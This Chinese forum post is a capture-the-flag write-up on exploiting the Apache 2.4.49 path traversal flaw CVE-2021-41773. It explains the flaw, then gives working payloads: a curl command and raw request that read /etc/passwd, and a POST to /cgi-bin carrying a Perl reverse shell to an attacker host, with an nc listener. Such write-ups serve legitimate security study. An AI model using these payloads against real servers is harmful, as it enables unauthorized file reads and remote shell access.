CVE-2021-41773目录穿越漏洞复现并使用得到flag

打印 上一主题 下一主题

主题 893|帖子 893|积分 2679

前提概要
首先!遇到一道题目,根据题意可知:这道题目存在CVE-2021-41773漏洞。

先来了解一下CVE-2021-41773的漏洞原理:
漏洞原理
CVE-2021-41773 是一个影响 Apache HTTP Server (httpd) 的安全漏洞,影响版本为 2.4.49 版本。它是一个路径遍历漏洞,如果文档根目录以外的文件不受 require all denied 掩护,则攻击者可以访问这些文件。
Apache Http Server 路径穿越漏洞原理
在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时,其使用的 ap_normalize_path 函数会对路径参数先进行 url 解码,然后判断是否存在 ../ 的路径穿越符。
当检测到路径中存在 % 字符时,若其紧跟的两个字符是十六进制字符,则程序会对其进行 url 解码,将其转换成标准字符,如 %2e 会被转换为 . 。若转换后的标准字符为 . ,此时程序会立即判断厥后两字符是否为 ./ ,从而判断是否存在未经允许的 ../ 路径穿越行为。
如果路径中存在 %2e./ 情势,程序就会检测到路径穿越符。然而,当出现 .%2e/ 或 %2e%2e/ 情势,程序就不会将其检测为路径穿越符。原因是遍历到第一个 . 字符时,程序检测到厥后两字符为 %2 而不是 ./ ,就不会将其判断为 ../ 。因此,攻击者可以使用 .%2e/ 或 %2e%2e/ 绕过程序对路径穿越符的检测,从而读取位于 Apache 服务器 web 目录以外的其他文件,或者读取 web 目录中的脚本文件源码,或者在开启了 cgi 或 cgid 的服务器上实行任意下令。
一:漏洞验证
访问地址是一个登录页面,什么都没有。扫描一下目录,未发现什么目录。

 2;由于没有目录可访问,所以使用如下CURL下令来发送Payload的方式是不行。
curl -v --path-as-is http://8.147.132.32:18505/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
3;使用bp抓包复现:

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
If-None-Match: "2d-432a5e4a73a80"
Content-Length: 0
给我的返回的是400,不可行,应该是做了限定,另辟蹊径。
4;使用burpsuite,获取反弹shell
bash下令无法实行,要使用perl,注意要使用POST,网址也要改为下面的地址:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 8.147.132.32:18505
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cache: no-cache
Content-Length: 229
Origin: moz-extension://79db308e-879e-471a-9c1f-6fb0f2d90f48
Sec-GPC: 1
Connection: close
echo;perl -e 'use Socket;$i="xxxx";$p=xxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

5;服务器开启监听。
nc -lvvp xxx。
6;监听乐成。得到flag.


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

络腮胡菲菲

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表